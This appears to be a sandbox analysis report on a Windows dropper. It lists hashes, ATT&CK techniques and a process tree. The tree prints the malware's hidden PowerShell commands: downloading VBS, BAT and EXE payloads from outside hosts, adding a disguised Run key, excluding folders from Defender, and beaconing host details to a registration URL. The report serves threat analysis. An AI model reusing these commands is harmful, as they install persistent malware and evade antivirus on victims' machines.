d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0

Analysis

max time kernel
149s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/07/2026, 16:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
Size 534KB
Sample260702-vasrvae19p
SHA256 d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0
MD5 cc8288934847e9f767860af6916765c3
SHA1 91705e398e4cddc2786317a2bc574e88b8f9952e
SHA512 c2def2b41a4d4062032a2027885cf5ad35480bf96dd263bdf6365a2e23fd51c5a1c05d1631f458c6b541cd1a0d4156d0ae3ab3645e34cae959f2092e402d0b46
SSDEEP 6144:oj1zho1x2kD02IXYwa6fWnUh7bxa57SzYCO8gG4iR+v/74D8+xhulH+lDAAijW:ohoVY2+LfWvRSECKG4iRkT0uEdAAijW
TLSH
T195C428E5E79444B8E4A39578C8778953EA33B40D8F64968F16A0BE573E33381483BB53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rdpftpower.com/ftpower/ftpower2/ftpower.bat

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://calculadorazt.com/contador1/actualizador.vbs

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://calculadorazt.com/contador1/miapp.exe

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4432	powershell.exe
15	2164	powershell.exe
28	2164	powershell.exe
32	3172	powershell.exe
37	3172	powershell.exe
42	3172	powershell.exe
42	3172	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6092	powershell.exe
3164	powershell.exe
5700	powershell.exe
4432	powershell.exe
2164	powershell.exe
3172	powershell.exe
5820	powershell.exe
2064	powershell.exe
5820	powershell.exe
2064	powershell.exe
4432	powershell.exe
2164	powershell.exe
3172	powershell.exe
6092	powershell.exe
3164	powershell.exe
5700	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinSvcHost32 = "wscript.exe \"C:\\ProgramData\\pcsftpower2\\autoejecutor.vbs\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinSvcHost32 = "wscript.exe \"C:\\ProgramData\\ftpower2\\autoejecutor.vbs\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5584	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5144	taskkill.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
5820	powershell.exe
5820	powershell.exe
2064	powershell.exe
2064	powershell.exe
6092	powershell.exe
6092	powershell.exe
3164	powershell.exe
3164	powershell.exe
5700	powershell.exe
5700	powershell.exe
4432	powershell.exe
4432	powershell.exe
2164	powershell.exe
2164	powershell.exe
3172	powershell.exe
3172	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5820	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	6092	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	5700	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	5144	taskkill.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 5336	4612	d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe	86
PID 5336 wrote to memory of 5820	5336	cmd.exe	89
PID 5336 wrote to memory of 2064	5336	cmd.exe	90
PID 5336 wrote to memory of 4192	5336	cmd.exe	91
PID 5336 wrote to memory of 6092	5336	cmd.exe	92
PID 5336 wrote to memory of 2672	5336	cmd.exe	94
PID 5336 wrote to memory of 3164	5336	cmd.exe	95
PID 5336 wrote to memory of 5700	5336	cmd.exe	98
PID 5336 wrote to memory of 4432	5336	cmd.exe	100
PID 5336 wrote to memory of 5144	5336	cmd.exe	107
PID 5336 wrote to memory of 5584	5336	cmd.exe	108
PID 5336 wrote to memory of 2164	5336	cmd.exe	109
PID 5336 wrote to memory of 3172	5336	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
"C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\ftpower2\instalador_ftpower.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs' -OutFile 'C:\ProgramData\pcsftpower2\autoejecutor.vbs' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs','C:\ProgramData\pcsftpower2\autoejecutor.vbs') }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/ftpower.bat' -OutFile 'C:\ProgramData\pcsftpower2\ftpower.bat' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/ftpower.bat','C:\ProgramData\pcsftpower2\ftpower.bat') }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\pcsftpower2\autoejecutor.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\pcsftpower2' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6092
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\ftpower2\autoejecutor.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2\Admin' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$os=[uri]::EscapeDataString((Get-WmiObject Win32_OperatingSystem).Caption); $url='https://calculadorazt.com/contador1/registro.php?pc=MEEEPEGR&user=Admin&ip=local&os='+$os+'&instalado=0'; Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM miapp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5144
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/actualizador.vbs' -OutFile 'C:\ProgramData\ftpower2\Admin\actualizador.vbs' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/actualizador.vbs','C:\ProgramData\ftpower2\Admin\actualizador.vbs') } catch {} }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/miapp.exe' -OutFile 'C:\ProgramData\ftpower2\Admin\miapp.exe' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/miapp.exe','C:\ProgramData\ftpower2\Admin\miapp.exe') } catch {} }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

instalador_ftpower.bat

Path C:\ProgramData\ftpower2\instalador_ftpower.bat
Size 3KB
SHA256 57f5f9c6fe94f7f598bc010cbc8a1fe1169962b524f28463272e044bd43d17b6
MD5 0768f32b272b56c40f932c61b64f0289
SHA1 bb90fa683142a614b73170881aff279298fb6b19
SHA512 fe0a2c6558e2470258806f0da4e0234a1c035cb3a06c65421003ff329169d498f7e03be693b97d04c40d96125fb12548656072794de169e79399d41d89b4ed6c
TLSH
T1E57154471BA8724A8A331D98C5BA4F55DB4A8352D3816BC271F941CC7CB2751CF61D8C
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download